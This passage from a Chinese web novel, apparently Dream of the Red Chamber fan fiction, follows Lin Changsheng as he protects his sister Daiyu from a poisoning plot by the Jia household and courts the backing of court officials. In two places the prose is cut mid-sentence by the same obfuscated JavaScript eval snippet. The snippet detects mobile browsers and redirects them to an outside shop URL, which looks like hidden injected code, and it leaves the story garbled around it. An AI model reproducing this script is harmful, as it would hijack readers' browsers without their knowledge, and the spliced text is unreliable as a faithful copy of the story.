她斟酌着词句道:“长生小爷年纪小,许是护姐心切,只是这法子太过刚烈。依孙媳妇看,不如冷他们些时日。林家姐弟在京城无依无靠,等他们知道生计艰难,自然明白老祖宗的苦心。到时候再接回来,好生教导规矩,也就是了。” 贾母缓缓点头:“也只能如此了。” 王熙凤从荣庆堂出来,并未立刻回房,而是转道去了王夫人处。 王夫人正对灯出神,见她来了,示意她坐下。 “婶子还在为今日的事烦心?”王熙凤亲手斟了茶。 王夫人叹了口气,眼中闪过冷意:“我烦心的不是那两个孩子,是宝玉。今日长生那些话倒是无礼。登徒子三个字,若真传出去,宝玉这辈子就毁了。” “婶子放心,我已吩咐下去,今夜之事绝不外传。”王熙凤道,“只是,长生那孩子,留不得。” 王夫人抬眼看她。 “婶子细想,”王熙凤压低声音,“他今日敢摔杯骂人,若日就敢做更出格的事。他才五岁便有这般心机胆识,若再大些,有林家那万贯家财撑腰,又有林如海在朝中的关系,将来必是宝玉的劫难。” “你的意思是……” “林家姐弟在京城,无长辈照应。小孩子嘛,头疼脑热,饮食不当,都是常事。” 王熙凤轻轻吹了吹茶沫,语气平淡,“若出点什么意外,也是天命。到时候,林家那些产业,老太太是黛玉的外祖母,宝玉是她嫡亲的表兄,代为照管也是理所应当。” 王夫人手中佛珠一顿,良久,缓缓道:“此事需做得干净,绝不能让人起疑。” “这是自然。”王熙凤笑道,“婶子放心,我自有分寸。” 二人又低语一阵,王熙凤方告辞出来。 夜风凉透,她紧了紧身上的披风,抬头望了望天上那弯冷月,嘴角勾起一丝若有若无的笑。 这荣国府的天,是该变一变了。 次日一早,王夫人果然备了车轿,往林家旧宅去。 她本意是做足姿态,以“舅母”的身份好言相劝,将两个孩子接回。若他们执意不回,那便是“不识抬举”,日后有什么变故,也怪不到贾家头上。 谁知车到林府门前,却见黑漆大门紧闭,门楣上“林府”二字匾额擦得干干净净。 门前并无寻常宅邸常见的门房闲汉,只两个青衣小厮垂手侍立,目不斜视,气度竟不比贾府的下人差。 王夫人的陪房周瑞家的上前道:“荣国府二太太来瞧林姑娘和林小爷,快去通报。” 左侧那小厮不卑不亢,躬身道:“请嬷嬷稍候。” 小厮转身进门,不多时,一个五十余岁、衣着体面的老仆出来,正是林福。 林福朝车轿行了礼,方道:“二太太亲临,本不敢怠慢。只是我家姑娘昨夜受了惊吓,又兼车马劳顿,今早起来便有些发热,已请了大夫瞧过,眼下刚服了药睡下,实在不便见客。小爷正在跟前侍疾,亦分身乏术。小爷说,劳二太太跑这一趟,心中实在不安。待姑娘大好了,必亲自过府向老太太、太太们请罪。” 这番话滴水不漏,既给了理由,又全了礼数,更将不见的缘由归到黛玉受惊生病,暗指荣国府之过。 王夫人坐在轿中,脸色阴沉。 她料定这是推托之词 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16886365|192023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却也无法硬闯,只得隔着轿帘道:“既如此,让姐儿好生养着。缺什么短什么,只管遣人去府里说。”又命周瑞家的将带来的人参、燕窝等物奉上。 林福接了,再次谢过,恭送车轿离去。 回府路上,王夫人越想越气。她堂堂荣国府二太太,竟被两个小儿拒之门外! 更可恨的是,林家那老仆举止有度,话里话外竟无半分错处可挑。这更让她确信,长生那孩子背后必有高人指点,否则一个五岁稚子,怎能安排得如此周详? 此刻林府内,黛玉有些低热,正靠在床头,长生坐在榻边,一勺勺喂她喝药。 “弟弟,二舅母亲自来了,我们不见,是否……”黛玉神色忧虑。 长生舀起一勺药,轻轻吹凉:“姐姐不必担心。她此来,绝非真心接我们回去,不过是做给外人看罢了。我们若见了,反倒不好。如今这般,她挑不出错,我们也能得些清静。” 黛玉服了药,长生替她掖好被角,柔声道:“姐姐再睡会儿。外头的事,有我。” 待黛玉睡熟,长生方悄悄退出卧房。 林福已候在门外,低声回禀了门前情形。 长生点头:“福伯做得很好,这几日紧闭门户,凡贾府来人,一律以此为由挡了。另外,” 他沉吟道,“姐姐的饮食药材,从今日起,你亲自经手。所有食材,需银针验过。药材,另请两位大夫分别看过方子,再抓药。煎药时,不许离人。” 林福讶然:“小爷是担心……” “防人之心不可无。”长生淡淡道,“荣国府那潭水,深着呢。” 林福肃然应下。 长生独自走回书房,推开窗。 院中一株老桂,花开得正盛,甜香沁人。 他却无心欣赏,目光望向皇城方向。 他前世魂魄游荡曾听鬼差提及,今上即位未久,正大力整顿盐务漕运,对父亲林如海这样的能吏颇为看重。而荣国府,看似鲜花着锦,实则内囊已空,全靠着祖上荫庇与宫中元春的体面勉强支撑。 “林安。”他唤道。 一直隐在暗处的老仆林安现身:“小爷。” “父亲离京前,可曾交代,在京中有何可以托付之人?” 林安略一思索,道:“老爷提过两人。一是国子监司业周文渊周大人,是老爷同年,为人清正。二是都察院左副都御史沈砚沈大人,与老爷在扬州曾共事,性情刚直,最恶勋贵跋扈。老爷说,若在京城遇到难处,可寻此二位。” 长生点头:“备两份得体的礼,以我的名义,送往周、沈二位大人府上。礼不必重,但要雅致。附上我的拜帖,言辞恳切,只说晚辈进京,本应亲往拜谒,奈何家姐抱恙,需在榻前侍奉,不克亲往,待家姐痊愈,必当登门请罪。” 他要看看父亲这些故交,在贾林之间会如何选择。 林安领命而去。 长生又铺开纸笔,给父亲林如海写信。 信中并未详述荣国府冲突,只道“姐姐与长生已安顿妥当,外祖母处亦常请安,一切皆好”,又提“偶感风寒,已延医诊治,不日可愈”,让父亲宽心。 最后,林长生笔锋一转,写道:“儿近日读书,见《盐铁论》中有云:山海之利,广泽之蓄,天地之藏也,皆宜属少府。私心忖度,盐政关乎国本,父亲身在局中,宜慎之又慎。儿虽年幼,亦知树大招风之理,愿父亲保重身体,明哲守中。” 这话看似孩童关心父亲,实则暗藏机锋,林如海何等聪明,必能看出其中深意。 贾府不可恃,盐政如履薄冰,需早作打算。 封好信,长生轻轻叹了口气。 他能做的,暂时只有这些,剩下的,便是等。 等贾府的下一步动作,等周、沈二位的回音,等父亲的指示,也等姐姐的身体好转。 他走回黛玉房中,见她睡得不安稳,眉头微蹙,梦中犹带泪痕。 长生在榻边坐下,握住姐姐的手,低声道:“姐姐,别怕。长生在。” 窗外,秋风渐起,卷落几片早凋的桂花瓣。 荣国府内,王夫人正与王熙凤密议。 “林家那小子,倒是谨慎得很。”王夫人冷笑,“闭门不出,连我也挡了回来。” 王熙凤道:“他越是谨慎,越说明心中有鬼。婶子,咱们不急。他们总有过不去的坎儿。” 她附耳低语几句。 王夫人眼中寒光一闪:“你是说,年底户部核销?” “正是。”王熙凤笑道,“林姑父在扬州管着盐政,每年往京城各府送的冰敬、炭敬,可都不是小数目。往年这些,都是走荣国府的门路打点。今年林家姐弟既与我们离了心,这笔银子…恐怕就难了。到时候,不用我们动手,自然有人找他们的麻烦。” 王夫人缓缓点头,捻着佛珠的手,终于松开了。 “那便等着罢。” 5. 桂下□□稚子解厄 却说那黛玉自荣国府归来,心头郁结,兼秋夜风寒侵体,不几日便真个病倒了。 起初只是微咳低热,长生只道是寻常风寒,请了大夫来看,开了疏风散寒的方子。 谁知三五剂药下去,非但不见好,反添了心悸盗汗、夜不能寐的症候,一张小脸瘦得脱了形,整日昏昏沉沉,竟有几分当年贾敏病重时的光景。 长生心中焦灼,连换了三位大夫,诊脉开方,说法各异,有说是“思虑伤脾”,有说是“肝郁化火”,更有说是“先天不足,邪入心包”,药用得愈来愈重,黛玉的身子却一日弱似一日。 这日清晨,黛玉咳得狠了,紫鹃捧着漱盂来接,竟见痰中带着几缕血丝,吓得魂飞魄散,哭着来报长生。 长生正在书房翻阅林如海留下的几本医书,闻言手中狼毫“啪”地折断,墨汁溅了满纸,染污了刚抄到一半的《心经》。 他扔下笔,疾步赶至姐姐房中,但见黛玉倚在床头面如金纸,唇无血色,喘息细若游丝。 林黛玉听见他脚步声,勉力睁眼,目光涣散,气若游丝道:“长生…姐姐…怕是不中用了……” “胡说!”长生厉声喝道,眼圈却已红了,上前握住姐姐冰凉的手,声音发颤,“姐姐定能好起来。长生这就去请最好的大夫,用最好的药,便是倾家荡产,也要医好姐姐。” 他强作镇定,转身出房,脸色已沉得能滴出水来。 廊下,林福、林安早已候着,皆是满脸忧色。 “这几日,姐姐的饮食汤药,谁经手?”长生问。 林福躬身道:“回小爷,姑娘的饮食是小厨房刘嬷嬷亲自料理,老奴在旁盯着,绝无外人插手。药材是老奴亲自去‘回春堂’抓的,方子是保和堂李大夫开的,煎药是雪雁守着,寸步不离。” 长生不语,在廊下来回踱了几步。 秋日阳光透过廊下竹帘,在他苍白的小脸上投下明明暗暗的光影。 他忽地停步:“去,将这几日姐姐喝剩的药渣、用过的膳具、乃至房中熏香灰烬,统统取来。再去请两位大夫,一位,去太医院请,不拘多少银子,只请最擅治妇人虚损之症的;另一位……” 他竟然有了不确定之色,“去寻仁心堂那位老先生,他若在京城,务必请来;若不在,打听他可有什么高徒一并请来!” 林安一惊:“小爷,仁心堂那位行踪飘忽,京城这么大,况且老先生先前一直在扬州…” “去找!”长生打断,眼中是与其年龄不符的厉色,“扬州城能找到,京城就也能找到。多派人手,将京城内外药铺医馆翻个遍,也要寻到踪迹!” 林安不敢多言,匆匆去了。 长生又对林福道:“将府中所有下人,不论内外、粗细,一律唤到前院。我要亲自问话。” 不过一刻钟,林府上下二十余口,从管事嬷嬷到洒扫小厮,皆垂手肃立院中。 长生站在廊下石阶上,身量尚不及成人腰际,此刻却自有家主风范,目光缓缓扫过众人,竟无一人敢抬头对视。 “我姐姐的病,来得蹊跷。”长生开口,声音不高,却字字清晰,砸在每个人心头,“今日,谁若知晓些蛛丝马迹,现在说出来,我赏银百两,既往不咎。若此刻隐瞒,待我查出来——” 他一字一句,“乱棍打死,送官究办,祸及家小!” 院中一片死寂,几个胆小的丫头已开始发抖。 半晌,角落一个负责洒扫后园、名唤小菊的粗使丫头,忽地“噗通”跪倒,以头抢地,颤声道:“小、小爷饶命!奴、奴婢前日…前日清晨打扫后园,见、见那株老桂树下泥土似有翻动过的新痕,奴婢当时没在意,只当是野猫扒的。” 长生瞳孔骤然收缩:“带路!” 众人簇拥着来到后园。 那株百年老桂,枝繁叶茂,正值花期,甜香馥郁。 长生命人细看树下,果然见树根旁有一处泥土颜色略新,与周围不同。他脸色更沉,喝道:“挖开!” 两个健仆取了铁锹,小心翼翼掘开泥土。不过挖下半尺,铁锹便触到一物。 拨开浮土,竟是一个用油布紧紧包裹的小包。林福用树枝挑开油布,里头是几块黑褐相间、似木非木、似石非石的物事,散发着一股若有若无的腥气。 “这是……”林福脸色大变,他久在宅门,见识过些阴私手段。 “是麝香,且是经阴寒药物炮制过的。”一个苍老沙哑的声音忽从人群后传来。 众人急回头,只见林安引着一位须发皆白、衣衫褴褛的老者匆匆而来,正是扬州仁心堂那位老先生。 他竟不知何时到了京城却又恰巧被寻到,且悄无声息进了府,林长生已无心过问,连忙让开。 老者分开众人,上前拾起那油布包,凑到鼻端深深一嗅,又掐下一点碎末,在指尖捻开细看。 老者面色陡然阴沉:“好歹毒的心思!此物以麝香为君,佐以朱砂、寒水石、阴地蕨等数味大寒大毒之药,用特殊法门炮制,埋于桂树根下。桂树性温,花香浓烈,正可遮掩此物异味。人若久居附近,日夜吸入这混合之气,初时只觉神思倦怠,日渐消瘦,继而心脉受损,咳血盗汗,状似虚痨之症。寻常大夫不明就里,多以温补疏散之剂治之,无异于抱薪救火,加速其亡!不出三月,必会油尽灯枯,且死后脉象与重症虚痨无异,极难察觉!” 一番话,说得满院人毛骨悚然,几个胆小的仆妇已软倒在地。 长生身子晃了晃,脸色惨白,死死盯着那包毒物,眼中翻涌着滔天的怒火与后怕。 若不是他多了个心眼,若不是这小丫头偶然看见…姐姐她…… “先生!”长生稳住身形,朝老者深深一揖到底,声音颤抖,“求先生救我姐姐!林家必倾家以报!” 老者扶他起身,叹道:“小公子先莫急,带老朽去看病人。” 一行人急急回到黛玉房中。 老者为昏沉中的黛玉细细诊脉,又看了先前几位大夫开的方子,连连摇头:“庸医误人!姑娘分明是中了阴寒之毒,邪入心包,扰动神明。这些疏散发表、温补燥热之剂,正是以火济火,以毒攻毒,将毒性逼入脏腑更深!幸得发现尚早,若再晚上三五日,便是大罗金仙也难救!” 他不再多言,径自走到书案前,提笔开方。 笔下所书,尽是附子、干姜、肉桂、吴茱萸等大辛大热之药,用量惊人,又加入犀角、牛黄、麝香、珍珠等解毒镇惊的珍稀药材。 “此方凶险,乃是以大热攻大寒,以毒攻毒。”老者搁笔,神色凝重,“姑娘中毒已深,心脉受损,非此虎狼之剂不能拔除病根。三日内,若高热能退,咳血能止,神识能清,便有一线生机。若不能……” 他摇摇头,未尽之言,众人心知肚明。 长生咬牙:“但凭先生施为!所需药材,无论多珍贵稀罕,林家不惜一切代价!” 药很快配齐煎好,黑漆漆,气味辛辣冲鼻,闻之欲呕。黛玉已昏沉不醒,牙关紧咬,药根本喂不进去。 紫鹃、雪雁哭着尝试几次,皆以失败告终。 长生默默接过药碗,自己先含了一口。那药汁入口,如同火烧刀割,苦涩辛辣直冲天灵。 他眉头未皱,俯身凑到姐姐唇边,以口相渡,一点一点,将药汁哺入黛玉口中。滚烫的药汁与他冰凉的唇相触,黛玉在昏迷中似有所觉,喉头微动,竟咽了下去。 一旁众人看得呆住,紫鹃捂着嘴,泪如雨下。 如此一日三次,长生不假他人之手,亲自哺药。 夜里,黛玉发起了高热,浑身滚烫,脸颊苍白,胡话连连,一时凄声唤“母亲”,一时又惊恐地喊“宝玉走开”,更多时候是细弱地叫着“长生…弟弟…” 一时分不清是叫长生,还是希望弟弟正如长生。 长生彻夜不眠,守在她床边,用冷帕子一遍遍为她敷额,握着她冰凉的手,一声声应着:“姐姐,长生在长生在这儿,谁也伤不了你……” 到了第三日黎明,黛玉的高热终于退去,咳血也止住了,虽仍虚弱得说不出话,眼神却渐渐清明,能认出人,也能勉强进些米汤。 老者再次诊脉,紧锁的眉头终于舒展些许:“毒性暂压住了。但姑娘元气大伤,心脉受损非一日可复,需得静养一年半载,精心调护,方有痊愈之望。切记,此后绝不可再受刺激,不可悲恸,不可劳累,更不可再接触任何阴寒之物,否则前功尽弃,神仙难救。” 长生悬了三日的心,此刻才重重落下,一股虚脱感瞬间袭来,他踉跄一步,被林福扶住。 他推开林福,再次朝老者深深跪拜:“先生再造之恩,长生没齿难忘!上次匆忙尚未询问,请先生示下名讳仙乡,他日必结草衔环以报!” 老者忙扶起他,目光复杂地看着这面色苍白却颇具仙缘的孩童,长叹一声:“老朽姓严,单名一个朴字,山野之人,漂泊无定,不必记挂。小公子,老朽有一言相劝。这高门大宅里的阴私手段,层出不穷,防不胜防。你们姐弟年幼更需万分小心。令姐此番生机,来之不易啊。” 长生肃然再拜:“严先生金玉良言,长生谨记肺腑。” 送走严先生,长生回到书房。 那包毒物就放在书案上,他盯着看了许久,忽然开口:“林安。” “小爷。”林安无声无息出现在门口。 “这包东西,你悄悄送去都察院左副都御史沈砚沈大人府上。不必多说,只让他看看便是。” 长生又添补充,“再查,这府中近日有谁与荣国府的人有过接触,有谁告过假,出过门,见了什么人。一厘一毫,都要查清。” “是。” 当日下午,林安带回消息: 看守后园角门的王婆子,约莫七八日前曾告假半日,说是女儿染疾。但有人瞧见,她并未回家,而是鬼鬼祟祟去了荣国府后街,进了一家刘记茶肆”。约莫半个时辰后,一个头戴帷帽、身形富态的妇人从茶肆后门匆匆离去。有那眼尖的认出,那妇人的衣裳料子和鞋样,极像荣国府二太太王夫人身边最得力的陪房——周瑞家的。 长生闭了闭眼,再睁开时,眼中已无波澜。 果然是她。 好一个吃斋念佛、菩萨心肠的二舅母。 “小爷,可要报官?或是立刻修书告知老爷?”林安拳骨捏得发白,愤愤不平。 “报官?”长生冷笑,笑意未达眼底,“无凭无据,一个粗使婆子捕风捉影的指认,能扳倒荣国府的二太太?至于父亲……” 他声音低沉下去,“此事绝不能让他知晓,父亲性情刚直,若知贾家竟用如此阴毒手段戕害姐姐,必会不顾一切与贾府决裂,甚至闹上朝堂。可如今他在扬州盐政任上,如履薄冰,多少双眼睛盯着,绝不能有半分差池,更不能因后宅阴私授人以柄。” 他走到窗前,望着院中那株已被连根掘起、付之一炬的老桂树残迹,缓缓道:“此事,到此为止。” “可是!”林安不平正准备高声,却被打断。 “那个王婆子,给她三十两银子,打发她回金陵原籍,永不许再踏入京城半步。告诉她,若敢在外胡言乱语,她金陵的儿孙,便不必活了。其余知晓此事的下人,各赏三个月月钱,但也要让他们明白,今日院中之事,若有一字泄露于外,无论有意无意,皆以背主论处,乱棍打死,绝不容情。” “小爷!”林安急道,“难道就这般放过那些黑心烂肺的?” “放过?”长生转过身,晨曦映在他苍白的小脸上,阴郁得让林安睁大眼睛,“杀身之仇,不共戴天。只是眼下,我们羽翼未丰,撕破脸徒然打草惊蛇。” 他走回书案,提笔给沈砚写信。 信中并未提及毒物之事,只先诚恳致歉,说本应亲往拜谒,奈何家姐病重,实在无法脱身,又隐约提及,近日宅中不甚安宁,有宵小作祟,幸得贵人相助,方化险为夷。 最后写道:“家父常言,沈世伯刚正不阿,有古君子之风,乃朝中砥柱。长生年幼,于世情多有懵懂,唯知君子处世,当如松柏,不惧风雪。然幼苗稚嫩,亦需沃土滋养。今家姐病弱,长生孤稚,客居京城,每思及此,夜深难寐。若蒙世伯不弃,暇时赐教一二,则长生幸甚,林家幸甚。” 这信写得极有分寸,示弱以博同情,却不显卑微,求庇以寻依靠,却不失风骨;隐约点出危机,引人遐想,却不落把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16886366|192023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柄。 这不仅表明林家立场与价值,暗示可引为奥援,沈砚若真是个眼里揉不得沙子的刚直之人,见此信,又见那包毒物,心中自有计较。 信送出后,长生又亲往国子监司业周文渊府上。 这次他未递拜帖,只让门房通传“扬州故人之子,有疑难之事求教”。 周文渊正在书房临帖,闻报沉吟。 他与林如海同年中举,素有交情,对林家姐弟进京后的风波亦有耳闻,略一思忖,道:“请至偏厅相见。” 长生入内,依礼拜见。 周文渊见他虽面色苍白,眼下青黑,显是忧劳过度,但举止沉稳,气度凝定,心中先有了三分好感。 问道:“贤侄此来,可是为了令姐之病?老夫也有所闻,正欲遣人问候。” 长生再拜,神色恳切:“谢世伯关怀,家姐之病确有蹊跷。奈何长生年幼,于京中人事生疏,如盲人瞎马,深恐行差踏错,贻误姐姐病情,更负父亲所托。故冒昧前来,恳请世伯指点迷津。” 说着,从袖中取出一卷文稿,双手奉上:“此乃长生平日读书偶得,涂鸦之作,不堪入目。然家父尝言,世伯学问渊博,品性高洁,若能得世伯片言指教,胜读十年诗书。故不揣冒昧,请世伯斧正。” 周文渊接过,展开一看,是一篇《盐政漕运利弊刍议》。 文章不长,但立论清晰,数据详实,对当下盐政之弊、漕运之困、胥吏中饱、勋贵掣肘等洞若观火,虽文笔稍显稚嫩,但眼光格局、忧患意识,竟远超许多朝堂官员。 更难得的是,文中隐隐透出对勋贵世家把持利权、侵蚀国本的深深忧虑,正与周文渊这清流领袖的政见不谋而合。 他越看越是心惊,抬眼仔细打量眼前这不及他腰高的孩童,目光已大不相同:“此文真是你所写?” “是。”长生垂首,语气谦逊,“长生随父亲在扬州任上,耳濡目染,略知皮毛。近日侍疾之暇,翻阅父亲旧日文书,偶有所感,信笔胡诌。其中谬误,必是不少,还望世伯不吝赐教。” 周文渊盯着他看了半晌,忽然长叹一声,将文稿郑重收起:“林兄有子如此,林家后继有人,何其幸也!” 他起身,负手踱至窗边,片刻方道:“贤侄,你既信得过老夫,老夫便直言。京中局势,看似花团锦簇,实则暗流汹涌。今上即位以来,锐意革新,尤重盐、漕、吏治。令尊身在要津,身处风口浪尖,不知多少人眼热。至于荣国府……” 他语焉不详,“树大根深,然内里如何,贤侄近日,想必有所体会。” 长生静立恭听,神色不变。 “你姐弟既已离了那是非之地,未必是祸。” 周文渊转身,目光灼灼,“然自立门户,谈何容易。况你二人年幼,更易招人觊觎。依老夫之见,当务之急,不仅保全自身,谨言慎行,深居简出,更要广结善缘,朝中清流一脉,多与令尊有旧,老夫可为你引见几位。此外,” 他目光落在长生脸上,“贤侄天资聪颖,见识不凡,困守内宅,未免可惜。可愿入国子监听讲?虽无正式生员之名,亦可结交良师益友,拓眼界,立根基。” 长生心中一动。 国子监乃天下文脉所系,清流聚集之地,若能入内听讲,不仅是极好的护身符,更为将来立足铺平道路。 他起身,郑重一揖:“长生谢世伯提点厚爱。只是家姐病体未愈,长生实不忍远离。且长生年幼学浅,恐有辱监门清誉。” 周文渊抚须笑道:“这有何难?老夫可先为你谋一附读之名,不必日日点卯,只需定期呈交课业,参加月课考核。待你年纪稍长,再正式补入监生。至于令姐,老夫内人与太医院右院判刘大人府上颇有往来,可请刘夫人常过府探望,一则诊视病情,二来也是个照应。” 安排如此周详,长生心中感念,再次深深拜谢。 从周府出来,日已西斜。 长生坐在回府的马车中,微微阖目。 周文渊这条路,算是走通了,有这位清流领袖的照拂,贾府明面上多少要投鼠忌器。 至于沈砚那边,那包毒物送去便是最好的投名状。以沈砚刚直、嫉恶如仇的性子,对贾府这等行径,必是深恶痛绝。 车马粼粼,驶回林府。 刚至门口,却听得一阵喧哗吵闹之声。 只见府门前围了些看热闹的闲人,几个林府健仆拦在门外,而门外正有一锦衣华服的少年,不顾小厮拉扯,跳着脚要往里闯,口中不住嚷着:“让我进去!我要见林妹妹!我给林妹妹赔不是!你们这些狗奴才,敢拦我!” 不是别个,正是那荣国府的凤凰蛋、衔玉而生的贾宝玉。 只见他发髻微乱,满面泪痕,身上那件百蝶穿花大红箭袖也蹭了灰,一副不管不顾的癫狂模样。 他身边跟着的老嬷嬷和几个小厮,急得满头大汗,不住劝道:“二爷,好二爷,咱们回吧!老太太、太太知道了要生气的!” “二爷,林姑娘病着,不见客啊!” 长生坐在车中,静静看着这一幕。 透过车窗缝隙,他能看到贾宝玉脸上那种混合着焦躁、委屈、以及某种自以为深情的天真。 就是这种天真,前世将姐姐一步步推向泪尽而亡的深渊。 他轻轻放下车帘,对车外的林安道:“从侧门进,不必理会。” 马车悄悄驶向侧门,将进未进之时,贾宝玉那带着哭腔的喊声,清晰地随风飘入车中: “林妹妹!你出来!我知道你生我的气!我给你赔罪!我给你磕头都行!你不见我,我就跪死在你们口!” 声音凄切,情真意切,闻者动容。 长生气笑。 赔罪?磕头?跪死? 若真心知错,为何不在荣庆堂当场认下?若真心愧疚,为何事到如今,想的仍是逼姐姐出来相见,而非让她静养? 这般以痴缠为深情,以闹剧为真诚,将自己心意凌驾于他人病体之上的赔罪,与那包埋在桂树下的毒药,又有何本质区别? 况且,大庭广众,将姐姐清誉置于何地? 不过都是,披着不同外衣的,自私罢了。 6. 避锋芒姐弟稳新基 话说那日宝玉在林府门外哭闹一场,被李嬷嬷与几个小厮好生劝了回来,回到荣国府,仍是哭天抢地,直嚷着要见林妹妹,又说是自己害了林妹妹生病,定要磕头赔罪才好。 众人百般解劝,只是不听。 贾母搂在怀里心肝儿肉的哄了半日,方渐渐止了,却仍是茶饭不思,只歪在炕上发怔。王夫人、王熙凤等无法,只得由他去。 次日一早,王熙凤果然奉了贾母之命,备了丰厚的药材补品,往林府去探病。 她原是八面玲珑之人,想着凭自己三寸不烂之舌,定能将那姐弟说动,便是接不回来,至少也得让他们回心转意,莫要与贾府生分了。谁知到了林府门前,却是结结实实吃了个闭门羹。 看门的小厮说话客气,礼也收了,可就是一句“姑娘需静养,小爷在侍疾,不便见客”,将人挡在门外。 王熙凤脸上笑着,心里却已恼了七八分,在门外软磨硬泡了半晌,到底进不去,只得悻悻而归。 回到荣国府,她径直去了王夫人屋里,将经过添油加醋说了一遍,末了冷笑道:“婶子您瞧,这可真是热脸贴了冷屁股。人家架子大着呢,连老祖宗的面子都不给。我看哪,这林家姐弟,是铁了心要跟咱们划清界限了。” 王夫人捻着佛珠,脸色阴沉如水。 她沉吟片刻,方道:“既如此,也不必上赶着。只是老太太那边……” “老太太那边,我去说。” 王熙凤忙道,“就说林妹妹病得重,怕过了病气给宝玉,才不敢见的。等大安了,自然就好了。老太太心疼宝玉,也重体面,那日长生摔杯而去,已是不敬。如今又这般做派,老太太心里岂能痛快?日子长了,那点怜惜,自然就淡了。” 王夫人缓缓点头:“你说得是。只是这两个孩子,到底姓林,是敏儿的骨血。若在京中有了闪失,我们面上也不好看。” “婶子放心,”王熙凤眼中闪过冷光,“这京城地界,他们能翻出什么浪来?林家那点家底,在京中算得了什么?等日子长了,知道外头的艰难,自然就晓得回头的香了。” 妯娌二人计议已定,王夫人自去安抚宝玉,只说黛玉病重,需静养,待好了自会回来。宝玉将信将疑,却也无可奈何,只得日日去贾母跟前歪缠。 贾母被他磨得没法,只得又打发了几拨人去探病,皆被林府以“静养”为由挡了回来。 几次三番,贾母也灰了心,叹道:“罢了,既他们主意已定,便由他们去罢。只是到底是我外孙,缺什么短什么,你们时常看着些,莫叫人说我贾家刻薄了孤女弱弟。”话虽如此,那热切的心却也淡了几分。 这些事,林府内自然知晓。 长生听了林福禀报,只道:“知道了。日后荣国府来人,一概依此例挡回去。送来的东西,登记入库,单放一处,不必动用。” 他如今心思,全在另一桩事上。 是前日周大人愿意出面请太医正夫人为姐姐诊病,更是雪中送炭的情谊。他当即亲自修书致谢,言辞恭谨,并附上自己近期所抄的一部《道德经》手稿,以示向学之心。 至于那包“毒物”,他已命林安秘密送去都察院左副都御史沈砚沈大人府上。沈砚此人,以刚直不阿、嫉恶如仇著称,平生最恨阴私害人之事。这包东西送去,无需多言,自有分量。 这两步棋落下,长生心中稍定。 眼下最紧要的,是姐姐的病,黛玉自那日呕血后,虽经仁心堂那位严先生施治,稳住了病情,但元气大伤,终日恹恹,精神不济。 长生延医问药,亲尝汤水,衣不解带地在榻前侍奉,不过十来日,自己也瘦了一圈。 这日,黛玉精神略好些,靠在床头,看长生在窗下写字。午后的阳光透过茜纱窗,在他苍白的小脸上镀了一层柔光,长长的睫毛在眼下投出浅浅的阴影。 黛玉心中一阵酸楚,轻声道:“长生,这些日子,辛苦你了。” 长生搁下笔,走到床边坐下,握住姐姐的手,笑道:“姐姐说哪里话,长生不辛苦,只要姐姐快些好起来。” 黛玉看着他明显消瘦的小脸,眼圈微红:“都是我不好,连累了你。若不是我病着,你也不必日日困在这屋子里,该去读书,去……” “姐姐,”长生打断她,语气认真,“读书在哪里都能读。但姐姐只有一个。你若不好,长生读书何用?” 黛玉喉头一哽,别过脸去,眼泪无声滑落。 长生默默递过帕子,等她稍稍平静,方道:“姐姐,周世伯前日来信,荐我去国子监附读。我想着,等姐姐大好了,我便去。” 黛玉一怔,转过头来:“国子监?你才多大年纪,如何能进?” “是附读,不必日日点卯,只需定期呈交功课,参加月课。”长生解释道,“周世伯是国子监司业,有荐举之权。他说我年纪虽小,但文章尚有可取之处,可先去附读,待年长些再正式入学。” 黛玉心中又是欢喜,又是忧虑,她欢喜弟弟如此上进,得了贵人青眼,又忧虑的是他年纪太小,国子监中皆是世家子弟、青年才俊,怕他受欺负。 长生看出她的心思,微笑道:“姐姐放心,周世伯既肯荐我,自会照应。况且,” 他声音低了几分,“我们姐弟在京中,无依无靠。若我能进国子监,便是有了正经出身,旁人再想轻慢我们,也需掂量几分。” 这话说到了黛玉心坎里。 她想起那日在荣国府受的委屈,想起宝玉的轻浮,想起王夫人的冷眼,想起贾母那看似慈爱实则偏袒的安抚,心中一阵刺痛。 她握紧弟弟的手,重重点头:“你去。好好读书,为林家争气。” “嗯。”长生应下,又道,“周世伯还说,他夫人与太医院右院判刘夫人是旧识,可请刘夫人来为姐姐诊脉。刘夫人是妇科圣手,有她调理,姐姐定能早日康复。” 黛玉眼中泛起泪光:“周世伯待我们如此厚谊,我们该如何报答?” “姐姐莫忧。”长生替她掖了掖被角,“这份情,长生记在心里。他日若有所成,必当报答。” 正说着,外头丫鬟来报,说周府派人送来帖子,三日后是周老夫人六十寿辰,请林小爷过府一叙。 长生接了帖子,对黛玉道:“姐姐,这是个机会。周世伯要在寿宴上正式引我入清流圈子。我需得好好准备。” 黛玉忙道:“是该去,礼可备下了?周世伯如此照拂我们,礼不可轻,也不可俗。” 林长生笑道:“我已想好了。前日我抄了一部《金刚经》,用的是父亲留下的澄心堂纸,墨里添了金粉,还算工整。另备了一方端溪老坑的砚台,一套湖笔,皆是文雅之物,不落俗套。” 黛玉点头:“甚好。只是你年纪小,独自赴宴,我总不放心。让林安多带几个人跟着,早些回来。” “姐姐放心。” 三日转瞬即过。 这日一早,长生换了身月白色绣竹叶纹的锦袍,头戴束发银冠,虽面色仍显苍白,但眉眼清朗,举止从容,自有一股沉静气度。 他乘了青帏小车,只带了林安并一个小厮,往周府而去。 